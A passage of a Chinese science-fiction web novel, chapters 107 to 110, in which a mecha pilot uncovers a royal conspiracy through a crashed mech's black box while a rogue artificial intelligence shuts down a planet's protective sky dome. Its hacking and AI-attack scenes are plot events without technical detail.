她倒吸一口凉气。 “叶行晖，别动。” “怎么了？” 叶行晖刚开始还很疑惑，但很快反应过来陶影在说什么。 他顺着陶影的视线低头，一只管状的白色虫体缠绕着机器人的腿部，一步步勒紧，环节间伸缩着，向上爬。 在船体的甲板上，竟然有条接近一米的瘿虫幼虫，跟着叶行晖一起游了上来！ 瘿虫对温度特别敏感，当初人类就是利用这一点捣毁了虫巢。 它怎么做到克服温度差，快速上浮的？ 竟然能在这样极端的压力和温度变化下存活，瘿虫不会又进化了吧？ 船上没有可以消灭瘿虫的武器。 如果幼虫察觉到赛场的声音过来，事情就麻烦了。 入口处，陶影的机甲瞬间站了起来。 一边的爱丽丝号被陶影的动作吓了一跳，也跟着站了起来，但在看到那条长长的滑梯后，脚一软，又扑通坐下。 女人小心问道：“那个，发生什么事了吗？话说你刚才明明说自己恐高来着……” 但她现在看上去一点也不害怕。 起身的动作干净利落极了。 爱丽丝号的机师正打算询问陶影怎么回事，陶影却计算好位置，操纵恒我往前一步。 她左右看了看，扯过背后的合金广告板，放在脚下。 两条机械腿一前一后，十分灵活地站在水滑梯上，冲浪一样滑了下去。 随后一路如履平地，闯过了第二关、第三关。 她吊上滑索，从三位队友的头顶飞速滑过，在赛道的最后，手一松，直接甩飞出去。 扑通一声坠入海面。 整个过程不超过三十秒，快得镜头都没来得及捕捉。 爱丽丝号：“？” 场上的队友：“？” 观众席：“刚刚是什么东西飞过去了？蟑螂吗……？” 说好的恐高呢？说好的不玩跳水呢？怎么直直地就朝海里去了啊。 林别歌大喊：“队长你干什么？” 陶影开了个防护盾，顺势下潜：“天气太热想玩水，别管我。” 林别歌还在叽里咕噜说着什么你不是不喜欢水之类的话。 陶影心里现在想的是，这幼虫万一爬到观众席就完蛋了。 她迅速潜水到叶行晖所在的海域，伸手把船捞进水里。 扯下叶行晖身上缠绕的幼虫，啪一下甩到加温的热力刀上。 经过高温的炙烤，幼虫发出滋啦的爆裂声，然后是一阵蛋白质的味道。 一顿操作猛如虎。 叶行晖小心翼翼道：“死了吗？” “死了。” 还好，虽然进化了，但高温依旧可以杀死它。 陶影松了一口气，朝身侧伸手。 “叶行晖，匣子给我。” “你要做什么？” “刚刚已经将幼虫的情况报告给了虫族防灾应对署，他们会迅速赶到，封锁现场。上头的人很快会知道这件事。” “我需要在十分钟内将黑匣子解锁。” 如陶影所料，消息很快传到切斯特星上层人士耳中。 爱荷华宅邸，富丽堂皇的大厅内部，一名衣着华丽的老人正握着手中的报告，神色焦虑。 “第六海域怎么会突然出现打捞机器人，还正好下潜到那个地方？” “不知道，我们接收到的瘿虫报告是匿名的。可能是碰巧遇上了违规打捞？” “怎么可能是碰巧，肯定有人知道我们的机甲坠落在拂瓦星的事了。” 加顿爱荷华的拐杖在地上狠狠擂动两下，像要戳出一个坑。 “这件事如果被陛下知道，我要怎么交代？” 管家擦脑门上的汗：“这，我正是来说这件事的，陛下召见您……去王宫一趟。” 加顿爱荷华风尘仆仆地来到王宫，路上遇见莉缇安娜王女，简单行礼后，竟先行结束了对话。 加顿朝王庭走去，脚步十分匆忙。 侍女睁大眼睛，险些想骂人。 “王女殿下，他对您真是越发无礼了。” 莉缇安娜轻笑一声：“我跟他合不来，一向这样，不过加顿今天神色格外焦急，知道是因为什么吗？” “没有确切的消息，我们最重要的‘线人’现在还在军事法庭蹲着呢。”侍女十分无奈地回答。 “他啊。” 莉缇安娜发出声无奈的轻哼，随便推开一处无人的小房间，脱下长裙，一套轻车熟路的小动作后，换上猎装。 侍女接过莉缇安娜扔过来的长裙，惊讶道：“殿下，您该不会是打算？” “嗯，当然要去听听那老头跟陛下说什么，看加顿的表情，这次事情不小，我怎么能错过。” 莉缇安娜说着，快步走到王庭花园，熟练地从小道钻入温室。 加顿和陛下总是在花园的温室见面，今天也不例外，喷泉前传来他们的交谈声。 莉缇安娜蹲在花台后，层叠的花朵遮盖了她的身形，她耳朵贴近，细致地听着。 陛下语气中带着审视。 “这件事你没有处理好，我对你很失望，加顿。” 加顿垂下头颅：“是的，非常抱歉，陛下。” 这件事？ 莉缇安娜心生疑虑。 加顿替陛下处理什么事？ 陛下沉默片刻，随后道：“没办法，你把相关人士都处理掉吧，那颗资源星发生的事情，不能被人知道。” “遵命，陛下。爱荷华家族永远效忠于您。” 加顿恭敬地说完，便立刻离开着手处理。 而莉缇安娜指尖轻轻搭在叶片上，透过缝隙，看着王的背影。 加顿离开后，他完全变了个人。 身上没有先前的压迫感，只有淡淡的无聊。 甚至虚无。 就好像刚才的训斥并不是出自真心。 前后态度的不协调，像是哪里的齿轮没有扣上。莉缇安娜心中升起一股异样感。 然后她听见，王低声说—— “你总是游刃有余。” “但这次你又要怎么接招呢，S？” …… S是谁？—— 作者有话说：大反派加载中（ 第108章 十分钟。 陶影很快解锁黑匣子,并复制好数据。 处理好一切，她潜入水中，回到赛场。 打捞落水选手的大爷穿着裤衩,坐在岸边，突见一个黑乎乎的脑袋浮出水面,吓得差点蹦起来。 大爷手指着陶影：“你怎么回事！” 刚刚陶影的机甲雷电一样的速度掉进海里，大爷还没来得及喊一声“我来捞你”,机甲蹭一下就没影了。 恒我本来就黑乎乎的,雷达还扫不到。 就这么消失在了海里。 大爷还以为自己工作要丢了,这会儿陶影又突然出现，他气得够呛。 “你刚刚去哪儿了？” 陶影扯下机甲四肢缠绕的海草,面不改色撒谎道：“不太会水,沉下去了,被海草缠住，一时没脱身。” 一边的图兰提斯队长甩了下钓竿,回头道：“我作证，她怕水,绝对不是自愿跳下去的。” 陶影感动地点头：“谢谢你，大花学姐。” 大爷啧了声：“原来是怕水啊，算了。知觉机甲就这点麻烦,非要搞人机一体，也不懂机甲的触感有什么好连接的。” 大爷负责任地检查一番，看陶影确实没什么问题，这才骂骂咧咧放她回赛场。 两分钟后，第六海域中心骤然出现一艘雪茄型星舰，它动作隐秘，没有任何观众发现。 只有陶影看到了光学迷彩的微妙扭曲。 星舰秘密抛下十几台潜水型机甲,它们训练有素，整齐划一的开启扫描仪器，随后一个个潜入海底。 “虫族防灾应对署来得还挺快。” 虫防署根据陶影提供的位置，迅速派人下潜，处理掉了虫卵。 做完这些后，他们抹消痕迹，似乎还在附近搜寻了一番，然后找到了陶影提前留在那里的打捞机器人。 虫防署心满意足地进入星舰。就像来的时候一样，静悄悄地走了。 为了不引起骚动，比赛依旧正常进行。 从头到尾，没有人注意到陶影去过海域中心。 机甲的缝隙内灌满水，很重，陶影爬上赛道，干脆坐在图兰提斯旁边晒了会儿太阳，顺便跟她们一起钓鱼。祝小芮来搭话，陶影时不时“嗯”、“啊”两句。 她还在想着黑匣子的事，明显没回神。 所以当叶行晖意识回归，看见的就是陶影捏住触手怪，当成解压玩具似的狠狠揉搓。 触手怪被陶影揉扁搓圆，毫无反抗之力，它察觉到叶行晖的意识，朝他投来求助的眼神。 ——救救我救救我，SPIRAL根本听不进去我说话。 叶行晖迟疑道：“……那我试试？” 说着，少年的投影出现在驾驶座边。 他乖巧地蹲下，下巴缩进白色高领毛衣，手在陶影面前晃了晃。 “小影？” 陶影还在神游天外，乍听见叶行晖的声音，微垂下头，正撞上叶行晖疑惑的双眸，她有些愣住，最后习惯性伸手，笑着摸摸叶行晖的脑袋。 又被当成小孩子，叶行晖微不可察地皱眉，他将陶影的手拉下头顶，下意识贴到脸颊，但即刻又觉得这动作过于亲昵，以他们现在的关系来说不太合适。 怎么松手看上去会不那么刻意？ 一直握着也不太对劲啊…… 纠结中，指尖温热的触感不经意蹭过脸颊，叶行晖心跳莫名漏了拍，他僵硬片刻，状似不经意地抬头，就看见陶影一副“我倒要看看你想干什么”的有趣表情，低头看着他。 陶影手撑着操作台，压下来：“怎么了，意识整合完，那只博美不让你回家，来找我哭？” “我在你心里究竟什么形象？” “弱不禁风一吹就倒。” 叶行晖抿唇道：“都多久以前的事了，只有你会觉得我好欺负。” 而且现在弱不禁风的究竟是谁。 陶影听出他的话外音，笑嘻嘻抱臂：“知道，小狗长大了，很凶的。” “你正经点。” “我一直都很正经。” “你手收回去再说这个话。” 叶行晖正了正神色，拉回正题。 “黑匣子的数据怎么样了，是不是状态不太理想？我看你刚才一直没说话。” “数据保存挺完整的。” 就是因为太完整了，详尽到她开始想一些事情。 陶影通过黑匣子内的航行日志和录像数据，拼凑出机甲坠落前发生的事。 “资料显示，爱荷华科技曾经探索过一颗资源星。” “这颗资源星，是第二星系塔恩泽星附近的一颗无名星，代号M854，属于雷瓦尔帝国的领地。那里原本因为战争被封存，但因为矿产资源太丰富，所以有人违背了条例进行探测。” “秘密开采。” “没错。”陶影肯定地点头。 “开采一开始很顺利，能源也成功输送到了切斯特星，虽然小队有数次发现虫族活动的痕迹，但他们根据痕迹和排泄物的形态，判断那只是普通的巨镰，并没有太大威胁，依靠开采小队的几位安全员可以解决，于是就没上报。” “很遗憾，他们判断失误了。” “这让他们付出了惨痛的代价。” “那不是普通的巨镰，而是被瘿虫寄生的狂暴型巨镰。” “它们攻击性极强，安全员虽然是一线机师，但武器有限，根本不是对手。整个开采小队被近乎单方面屠杀后，只剩下一台幸存机甲，它仓皇逃离M854，在试图回切斯特星报告的途中，燃料用尽，迫降拂瓦星，最终坠入海底。” “它携带的瘿虫虫卵在拂瓦星第六海域快速繁殖，但因为没有合适的寄生体，一直没有发展出群落，于是一些幼体进化出信息素，试图吸引其它虫族。” “这些信息素直接导致了赤潮在整个拂瓦星爆发，随之而来的，是第二星系的虫灾。” “爱荷华科技的违规开采直接导致了这场灾难。” “我说完了。” 陶影说得口干舌燥，她轻舒一口气，瘫进驾驶座。 叶行晖沉默片刻，突然开口。 “小影。”“嗯？” “你隐瞒了一部分事情没说吧。” 被人质问，陶影半闭着眼睛，神色不变。 “我有吗？” “刚才说‘爱荷华’三个字的时候，你没看我。” 陶影睁开一只眼睛，双手捧住叶行晖白嫩的脸颊。 “那我看着你再郑重地说一遍？” 叶行晖无奈地拍开她的手。 “小影，你只有撒谎和干坏事的时候才会这样说话。” “上次你这种表情，是因为偷走拉布拉多的零食自己尝了一口，知道你当时看它的眼神有多深情吗？” “……” 为什么要关注她看狗的眼神啊？ 陶影微叹了口气。 “你确实没当年那么好骗了，好没成就感。” “你要是喜欢好骗的，我可以装一下。” “那倒也大可不必。” 陶影拍拍身边的扶手，示意他坐下。其实电子生命根本不会累，也不需要坐下，但叶行晖还是靠了过来。 陶影头向后一仰，顶住他的背：“你还记得尤里斯之前在莱门公园说的话吗。” 叶行晖听到这人的名字就眉头紧锁。 “记得，他说让你不要再继续追究火灾的事……” “当时试探了他几句，我琢磨来琢磨去，总觉得我的死跟王族有关系，但就是想不通是哪位王族。” “今天一看，终于知道了。” 陶影放出黑匣子最后的录像。 不停摇晃的画面，慌乱地传递着死亡信息。 开采小队的机师浑身是伤，眼里都是红血丝，虚握操纵杆的手已经僵硬，手指都蜷曲着。 他的体力明显已经到了极限。 陶影指向那名机师的胸口，有一个金灿灿的胸针。 金色的辉羽中，包裹着锋利的剑。 那是王直属机师的身份象征。 陶影神色淡淡。 “前往M854星，需要王的通行证。” “要杀我的，是雷瓦尔帝国的那位‘陛下’。” 比赛结束，太空女鬼队的人气值排名第一。 林别歌先一步知道这个消息，急吼吼地推着陶影去领星舰。 陶影在队友的簇拥下，踉跄地来到领奖台。 话说回来……这场是热身赛，按她的预计，顶多拿个前三，怎么会在人气榜第一？ 陶影盯着柏墨和林别歌，左看右看，两个人都挺正常的。 没道理啊，总不可能凭运气吧？ “你俩干什么了？” 两位队友也一头雾水：“跟我们有什么关系，难道不是你的精心算计？” 陶影指着自己：“我？” 她算计谁了，她怎么不知道？ 梦里算计的？ 直到领完奖，陶影走出赛场，才知道人气值暴涨的真相。 恒我飞奔过程中踩了不少机关，她当时忙着去处理瘿虫，跑得快，所以没有被波及，但赛道上被跑轮甩出去的，被她踩中跷跷板弹飞的选手，比比皆是。 选手稀里哗啦落水了一半。 水里十分热闹，赛道上更是尸横遍野。 “而造成这一切的你跟什么都没发生似的，顶着一头水草，悠闲地在岸边钓 鱼。” “你一骑绝尘，独领风骚，把所有队伍坑了个遍，其它队伍的支持者都快骂死你了，队长大人。” 陶影一看直播间，还真是，人气值被硬生生骂了上去。 真是谢谢了，白得一艘星舰。 陶影面色无辜：“我说这次不是故意的你们信吗？” 三位队友齐声道：“不信。你什么人我们还不知道？” 陶影秉承她不要脸的特质，毫不犹豫地认下：“没错，其实这一切都经过我的精心设计，所以星舰的钥匙，理应交给我保管。” 说着陶影甩了甩手中的钥匙，掀开防水布，直接钻进星舰。 队友打打闹闹地涌了进来。 经过一场比赛，大家都累瘫了，只想休息。太空女鬼队躺得起仰八叉，很快入睡。 除了陶影。 迷迷糊糊中，耳边传来轰隆隆的声音。 林别歌睡眼蒙眬地撑起身子。 “什么情况，打雷了？” 她余光看见驾驶舱门缝半开，里面好像有人，眯了眯眼，发现是她们的队长大人。 话说星舰刚刚是不是动了？ 确实动了！ 林别歌心中警铃大作，她长腿一跨，来到陶影身边，透过前挡风玻璃发现星舰已经起飞，手指颤抖：“你在干什么？” 陶影毫不心虚：“开星舰啊。” “你有驾照吗？” 陶影咧嘴：“有。” 她顿了一下，又补充道：“略有。” 第109章 雷瓦尔帝国的王,索兰特伦雷瓦尔，已有五百多岁。 不知道是不是因为寿命太长，他性格很古怪。 明明星际医疗发达,可以通过更换义肢和各种电子器官，改善体质。 但疾病缠身的索兰特伦,身处权力顶端，无论如何都不接受这样的“改造”。 也因此,近百年来,他都卧病在床。 某天,索兰特伦突然想开了，从头到脚都更换成金属义肢。 从此恢复了健康。 虽然大臣都很开心,但陛下身边的侍从,总觉得手术后的王变了很多。 索兰特伦的身体变得更好,精神却变得那躺在床上的一百年更糟糕。 莉缇安娜作为王的女儿，感受到的变化更为巨大。 他不像是王了。 他对帝国的一切都不关心。 索兰特伦偶尔会说一些奇怪的话。 比如刚刚,他提到S这个代号，虚无的眼神泛出一点光亮,但很快便又被浓烈的黑暗遮盖。 这不是莉缇安娜认识的父王。 那机械的身体，似乎给索兰特伦的内心带来其它东西。 一个疲惫而虚无的灵魂。 莉缇安娜这样想着的同一刻，加顿爱荷华推开温室的门,离开了。 索兰特伦结束会面，又回到了一个人自由自在的模样，他甚至哼着古老的歌，踩着他的机械腿，来到莉缇安娜王女前方的花架，背对着她。 他抬手操纵按钮，喷淋系统开始运作,机械扫描并精准识别花坛中的花，并开始浇灌。 抬手间，白底金丝的袖子滑落，露出内部的机械臂。 机械臂经过完美的调试，于是动作并不生硬，但这种灵活反而让人心生一种诡异感。 莉缇安娜脊背震颤一下。 就好像在……刻意伪装人类。 因为紧张分泌的口水存在感很强，莉缇安娜轻轻吞咽。 如果父王其实已不复存在呢？ 如果那具身体中，真的有另一个灵魂呢？ 莉缇安娜的脑中闪过无数种离奇的想法。 但她很快掐灭自己的异想天开。 不管怎么样，现在不适合想这些。 她必须离开。 索兰特伦多年不管帝国事务，他私密吩咐加顿，甚至需要灭口的事情，不可能是小事。当务之急是尽快离开温室，去安全的地方，查清加顿究竟做了什么。 莉缇安娜于是躲在花架后，四肢着地爬行。 她心“砰砰”地跳着，但依然有条理地控制呼出的气流。 并没有发出任何声响。 她小心地后退，来到温室边的小道。 身后索兰特伦的哼歌声还很远，也没有停下，显然没有发现她在这里。 莉缇安娜心下松了一口气，正要打开秘密通道，却突然想起她刚刚进来的时候，并没有关门。 那门是谁关的？ 莉缇安娜脑中瞬间一片杂音，她冷汗频出，仰头时，一双电子义眼冷冰冰地看着她。 “莉缇，你还是跟小时候一样，喜欢玩捉迷藏。” 索兰特伦如是说。 王摘下金属面具，露出背后高精度的皮肤，甚至连脸颊上的毛孔都做得十分精细。 这是模仿索兰特伦青年时候的面孔做的。 对莉缇安娜来说，明明是熟悉的脸，却十分陌生。 明明是亲近的语气，却让她后背生出一阵寒意。 他怎么发现她的？ 什么时候发现的？ 但似乎对莉缇安娜的恐惧毫无察觉，索兰特伦自若地领着她，来到花架正面。 他嘴角勾起笑容。 “你小时候很喜欢花。” 莉缇安娜不知道他平静面孔下究竟在想什么，只能微笑着平稳了气息。 “是的，花朵鲜活的样子让人着迷，我现在也很喜欢。” “但你长大后就不常来花园了。” “因为没有太多时间欣赏。” “是吗？的确，你都在忙帝国事务。那现在趁着休息时间看看吧，花开得正好。” 索兰特伦说着，操纵起温室的系统。 温室完美模拟了四季，也模拟了外界的生态，这里就像是一个完整的世界。 而他像一个操盘手，控制这一切。 “——莉缇。” 索兰特伦突然叫了莉缇安娜的昵称。 “花遵循四季生长，你不觉得人类社会也是吗？” “自从诞生，文明就像一张张骨牌接连倒下，崩坏，重启，重生，无限循环。” “永远存活在战争与痛苦中。” “永远无法吸取教训。” “就像花无法跳出四季，不管如何努力，人也无法跳出痛苦的怪圈。” “也许痛苦与毁灭是刻在人类基因里的。” 索兰特伦说着，将温室的环境调到了冬季。 花朵感受到寒冷的温度，逐渐凋零。 莉缇安娜嘴唇发白，掐住自己的手。 他究竟在说什么？ 他究竟是谁？ 她脑中已经一片混乱，但只能强制自己冷静下来。 她必须找借口离开。 莉缇安娜露出得体的微笑。 “父王，你说得很有道理，但订婚宴要开始了，请容我先行离去。” “谁的订婚宴？” “应纱夜。” 索兰特伦敲了敲脑袋，似乎在认真回想这人是谁。但因为都是金属，头部只发出共振的回声。 他思索片刻，“哦”了一声。 “想起来了，是应家的人，那的确不好缺席。去吧，替我问好。” 索兰特伦说完，露出一个机械的笑容，他挥手示意莉缇安娜离开，然后说： “希望今天没有人会死。” …… 莉缇安娜行礼后，稳步离开了温室，随 后脚步越来越快，越来越快。 近乎有些恐慌了。 她能感觉到背后的视线，猛地回头，却什么也没有。 王宫原本就十分空旷，修建得如同迷宫。 她不知道视线的来源是哪里，某一瞬间，她突然反应过来，抬头。 头顶的摄像头统统转向她。 视线来自那里。 莉缇安娜飞快地跑，想要把背后的某种生物甩走，但发现不管她走到哪里，监控探头都如影随形。 而这时，天空中出现了奇怪的景象。 天幕突然关闭了。 注意到的显然不止她一个人。 莉缇安娜冲出王宫，听见身边同时响起的惊讶声。 “天幕怎么黑了，中病毒了？” “我，我有些呼吸不畅。好冷，温度也下降到零度……” 切斯特星空气稀薄，只有天幕的防护内，维持着适宜的温度和环境。 就像在温室中一样。 “天幕一旦关闭，空气就会逐渐回归原本的状态，虽然不致死，但会让人非常难适应。” “尤其是对体质不好的人来说。” 大家不知道发生了什么，慌成一团，只能往避难所跑。 天幕突然重新亮起。但大家只看了一眼，腿上跑得更快了。 因为天幕中显示的，不是寻常的湛蓝天空。 而是一只眼睛。 “警告，警告！” “高危智能体攻击，请所有人员立即前往最近的避难所。” “重复一次，高危智能体攻击，请所有人员——” 莉缇安娜站在蜂拥的人群中，仰头直视那只眼睛。她联络亲卫，但此刻通讯也断掉，她抿了抿唇，掉头便往应家跑去。 现在的事态，一定跟索兰特伦刚刚说的话有关系。 有能力解决问题的，只有应家。 莉缇安娜飞奔着，甚至都没注意自己呼吸困难。 “莉缇！” 莉缇安娜好像听见有女人叫她，但没有回头。 她正跨上台阶，突然身侧出现一只手，大力将她捞到小巷里。 是敌人？莉缇安娜迅速拔出腰上的枪，但那人身手极好，她的枪被人一把夺过。 莉缇安娜迅速道： “我是雷瓦尔帝国王女，你应该知道这代表着什么，再不放开我，我就以……姬，姬亦元帅？你这是干什么？” 莉缇安娜看到挟持自己的人是谁，瞠目结舌。 姬亦明显也是跑了很长一段路，有些喘，她把莉缇安娜放下来，顺手递了氧气罩过去，盖在莉缇安娜脸上。 “你嘴唇紫了。” 莉缇安娜这才发现自己缺氧得手脚发麻，她吸了一口，又继续道：“你身为亚克联邦的元帅，竟然挟持帝国王女？” “现在这个重要吗。” 说着姬亦指了指天空。 “你先想办法把这个解决了，毕竟我是‘亚克联邦的元帅’，不好掺和你们帝国的事情。” 莉缇安娜拍掉她的手：“我正打算去应家找人，你拦我是什么居心。” “没居心，只是因为现在应家也一团乱，我看他们很难帮上忙。” “什么意思？” 莉缇安娜面露疑惑，起身才看清，姬亦身后跟着一个穿婚纱的女人，白色的婚纱上沾满了血，裙摆被撕开，十分狼狈。 应纱夜。 她不是应该在订婚宴吗？ 莉缇安娜呼吸一顿：“纱夜？你怎么会跟她在一起，你身上的血怎么回事？” 应纱夜手肘搭在白副官身上，眯着眼道：“哦，血不是我的，是我爹的。我砸了订婚宴，逃婚了，去征兵处的路上正好撞上他们两个，就一起来找你。” “逃，不是，征……”信息量太大，莉缇安娜噎了一下，“那裙子是怎么回事？” “跑路不方便，自己撕的。” “你就这样穿着婚纱去征兵处……算了。” 莉缇安娜生平第一次有种想放弃一切的感觉，只觉得事情越来越超出她的想象。 “高危智能体怎么办？” “莱门监测中心正在找它的位置，我们帮不上忙。” 姬亦摇头：“也不一定。” “什么意思？” 姬亦将莉缇安娜的枪还给她，抬头望向遮盖整个切斯特星的眼睛。 她摸了摸自己的金属左腿。 “你们不是一直想知道我来切斯特星的目的？我在前线的最后一战，用这条腿换来一个消息。” “虫族的意识中，有高危智能体的痕迹。第二星系的虫灾，与智能体有关。” “而那个智能体潜伏在人类的身体里。” “什么？！是谁？” “我怀疑是我的学生，白颖。”—— 作者有话说：此刻正在避难所吸氧的陶影：…… 什么叫做锅从天上来[抱抱] 第110章 “警告,高危智能体攻击，请所有人员立即前往避难所！” 警报声尖锐刺耳，不断机械地播放着,人群恐慌地奔跑，四处寻找安全的地方躲藏。 刚下星舰的太空女鬼队也不例外。 “快点找避难所！” “这里满员,已经关门了。” “这里也满员了！” 星港附近人流很大，她们听到警报的时候,大多数人都已经安置完毕。 只能一边看地图一边继续往周边摸索。 很快,一幢形状如同蚕茧的奇特建筑出现在她们面前。 “莱门遗迹博物馆。” 这是最近的紧急避难所。 建筑的入口处,有白色丝线的互动装置，触摸丝线的末端,会显示古老的文字。但现在因为网络紊乱,人手腕粗细的丝线爆着电火花,胡乱地在地上抽打，根本无法靠近,彻底堵住了正门。 林别歌绕着博物馆跑了一圈，很快找到其它入口,她冲到博物馆的地下车库，大力朝陶影招手。 “影子你快点，要关门了！” 凉飕飕的空气灌入肺部,每呼吸一次都像是刀子在割肉。 陶影两手撑住膝盖，大口喘息。 她很想说一句“在快了”，但话到嘴边断断续续，根本说不出来。 眼前一片发白，感觉要升天。 知道体质F迟早要出事，但没想到是以这种形式。 天幕自打建造以来，就没出过大范围事故。莱门监测中心之前抓Dust的时候不是挺厉害的,甚至毁了它的几个分身，怎么会漏掉其它高危智能体的攻击？ 陶影心中奇怪，但很快就没精力多想了，她靠墙勉强撑着向前走，面色比平时还要苍白十个度，心脏跳得极快。 浑身无力，陶影弯身捂住抽痛的心脏。 天幕的关闭，让空气状况显著下降，而且肉眼可见，还在往更糟糕的方向发展。 她很快就什么都看不见了。 林别歌哎呀两声，在前面急得跳脚，犹豫片刻，林别歌朝身后半闭的大门看了一眼，然后好像下定了什么决心，一把冲过来，扛起陶影就往门口冲。 南卦趴在车库的地上朝她们伸手。 “别歌，手，手给我！” 网格门降得越来越低，眼看距离地面只剩二十厘米，快赶不上。 南卦面色焦急，手掌拍了两下地面催促，最后干脆站起来，两手抬住大门底部，凭借一身怪力，硬生生又多顶了几秒。 林别歌先把陶影塞了进去，然后一个滑铲卡着缝隙钻了进来。 劫后余生，两人都是喘着粗气，陶影更是有进气没出气。 “小影，小影你醒醒！” 南卦语无伦次地拍着陶影的脸。 “你轻点，待会拍死了。” “她不呼吸了！” “队长，你有什么遗言现在说还来得及，我会帮你转达给家人……” 林别歌说到一半，突然想起陶影之前好像说过她家户口本只剩她一个了，哽咽了下。 “总之你先告诉我你家里人埋在哪里，我会去她们坟头转达你的遗言，或者你初恋也行？虽然我从来没见过他，很怀疑这人究竟存不存在……等下，你说什么？” 林别歌听见陶影小声叮咛了两句，凑上头去。 陶影的手掐住她的手臂。 “我说……我喘不过气……” 林别歌愣了一下，跳了起来。 “她说她喘不过气，怎，怎么办啊！我们去哪里给她找氧气？” 南卦将陶影的头抬高一些，四下看了看，赶忙指向左侧的小房间：“值班室，值班室应该有！” 林别歌顺着南卦手指的方向，赶忙冲了过去，但她刚推开值班室的窗户就知道完了。 里面已经被人翻得一团乱，原本放置紧急医疗包的位置空空的 ，显然已经被先到这里的人拿走。 两个人急得不知所措，背着陶影就要往楼上跑，头顶突然传来声音。 “站那儿别动，我下来。” 三人抬头，只见螺旋楼梯的四楼，黑发少女一手已经搭在了栏杆上。 “小墨！”“姓柏的！” 柏墨利落翻出栏杆，顺着绳索滑下。 她匆匆过来，眼疾手快地掏出氧气罩，按在陶影脸上。 眼见陶影的意识逐渐恢复，朝她们眨动眼睛，三人都长舒一口气。 林别歌大字躺在地上，戳戳柏墨的大腿。 “你哪里来的医疗包？” “楼上随便拿的。” “这东西现在应该很抢手吧，还能随便拿？” 林别歌眯着眼睛：“你刚刚进门就跑，该不会是特地上去给队长拿医疗包的吧？” 柏墨睨了陶影一眼，不置可否，随后冷淡地转过头，回了一个字：“呵。” 林别歌：“……” 呵是什么意思？你说得对但我不想承认？ 地下车库的气温虽然只有十几度，但比起外面总是好了很多，再加上遗迹博物馆的小型应急天幕已经启动，此刻内部的氧气浓度逐渐稳定。 陶影总算状态好了一点。 她靠墙坐了起来，朝三位队友挥手。 “谢啦。刚才意识昏昏沉沉，都看到天国的阶梯了，触手怪还在天堂尽头朝我喵喵叫，画面太诡异了。” 南卦抹了一把眼泪：“大家都没事就好。” 柏墨抱臂靠在消防栓上，冷漠道： “只是救恒我的机师而已，不是为了你。” 林别歌则是叽里咕噜地说着什么义气友情之类的东西。 陶影脸色惨白地勾了勾唇角。 “总之先想办法上楼吧，老在地下车库呆着也不行。” 无线网络都被屏蔽，光脑联络不到外界，想知道现在的攻击情况发展成什么样，必须先去上层。 “莱门监测中心已经发出通知，说天幕正在维护，很快就会恢复正常，大家不用担心。” “请大家耐心等待，稍后如果有消息，我们会第一时间通知大家。” 听到广播这样说，本来大声吵闹的市民们，总算冷静了下来，家人们开始互相安慰。 但等了很久，依旧没有传来任何消息。 “哎，还没维护好吗？我想回家了。” 有人去到门口，想要观察外面的情况，却被工作人员拦了下来。 工作人员礼貌微笑：“请耐心等待。” 那男子着急回家，就要推门，但工作人员却丝毫不让步，按住他的手，重复同一句话。 “请耐心等待。” 男子被拦了几次，眉头的八字越来越紧，他凑近工作人员就要发怒，却在提起工作人员衣领的时候，看到她颈侧的电子接口。 男子啧了声，大力甩开它的手。 “仿生人啊，不早说，我还跟你费这么多口舌，听不懂人话的玩意。” 仿生人并未生气，因为它并没有设置相关程序。 它只是露出礼貌的微笑。 “感谢您的理解。” 陶影身体没完全恢复，干脆趴在林别歌背上，由她背上楼。 一行人很快爬上螺旋楼梯，穿越二楼的连廊，进入博物馆内部。 队友随便找了一个看上去比较像会议室的双开门房间。 推开门，一股古朴夹杂现代科技的氛围传来。 “哦，博物馆还有这种地方？像是剧院。”林别歌仰头惊叹道。 “小型放映厅，用来放纪录片的。” 木质地板踩上去有轻微的咯吱声，蜡油味让陶影有些头晕。 讲台上，巨大的全息影像十分壮观。 是一艘古老的星舰。 “有关希拉辛的航海日志……” 投影正在播放太空流浪时代的纪录片，旁白的清雅声音娓娓传来。 虽说有点像剧院，但只是台上布景有点像，台下依旧是博物馆风格。 玻璃展柜里全是太空流浪时代的文物。 这些文物从遗迹里发掘，经过星遗局的处理后，挑选了部分送进莱门遗迹博物馆。 这里记录了人类历史的进程，众人跟随脚下的时间指引，走过一个个文物。 “这个纪录片我好像在哪里看过，感觉跟火种有点像？” “确实很像。” 陶影从林别歌身上跳下来，抱着氧气瓶，摇摇晃晃走到后排角落，找了辆轮椅。 眼前的景象还是有点旋转，坐下之后好多了。 陶影推着轮椅爬上讲台，见两位队友还在讨论那部纪录片，拿过一边的麦克风敲了敲。 “制作火种的时候，美术团队有来博物馆取材，当时也参考过这部小型纪录片。” 参考过参考过参考过—— 回音响彻整个房间。 林别歌捂住耳朵，嘶了一声，转瞬狐疑道：“你怎么知道得这么清楚？好像你当时也在团队里似的。” 陶影噎了一下。 脑子不太清醒，差点说漏嘴，竟然连“制作火种的时候”都说出来了。 还好没加主语。 陶影笑了笑，说是伊琳娜告诉她的制作小趣事。林别歌哦了一声，接受了这个解释。 陶影来到讲台，小心地从轮椅上爬下来，四肢着地，抠开一块地板。 三名队友好奇地跟着上来。 林别歌：“你干什么？” “这种投影的下方通常会连接有线网络。嘶，不行，我头晕，你帮我找找，网线应该是黄色的。” 十分钟后，林别歌研究了二十几根黄线，眼睛都酸了，总算挑出了陶影正在找的光缆。 陶影拿起来比对了一下。 “果然接口不对，这是大型设备用的网线，插不进光脑。” “那你还叫我找半天……咋办？” 陶影挑出几根核心线，重新排列顺序，然后朝柏墨伸手。 “柏墨，刀借我。” 柏墨从后腰拔下一把小刀递过来：“你自己没有？” 陶影面不改色：“我一个普通市民，身上怎么可能携带这么危险的武器。而且上次买的那把二手刀掉在柏氏工业了，你还没还我。” 柏墨：“……” 陶影很快用刀刮了几下线路的绝缘皮，露出内里的金属线。 然后用绳子绑了绑，拆开光脑，将线连接上触点。 陶影一番操作，莫名其妙光脑就连上网络，惊讶得林别歌嘴都合不上了。 “虽然一直知道你的技术很厉害，但没想到这么厉害。” 陶影侧身，面露疑惑地看了她一眼：“厉害？” 林别歌竖起大拇指：“当然啦！” 陶影面色古怪，少见地有些欲言又止，最后挤出来一句：“这是星际网络基础课程。” 林别歌：“……” 陶影没管石化的林别歌，视线停留在光脑上，眼球不停转动，迅速查看信息。 她第一时间进入了莱门监测中心的系统。 陶影低着头研究半天，最后揉揉眉心，吐出两个字。 “奇怪。” 柏墨半蹲下：“哪里奇怪？” “莱门监测中心明明发出了一级警告，但竟然没有给出智能体的代号。” 柏墨沉思：“可能他们不想公开？” “内部系统里也没有查到。” 南卦提出另一个可能性。 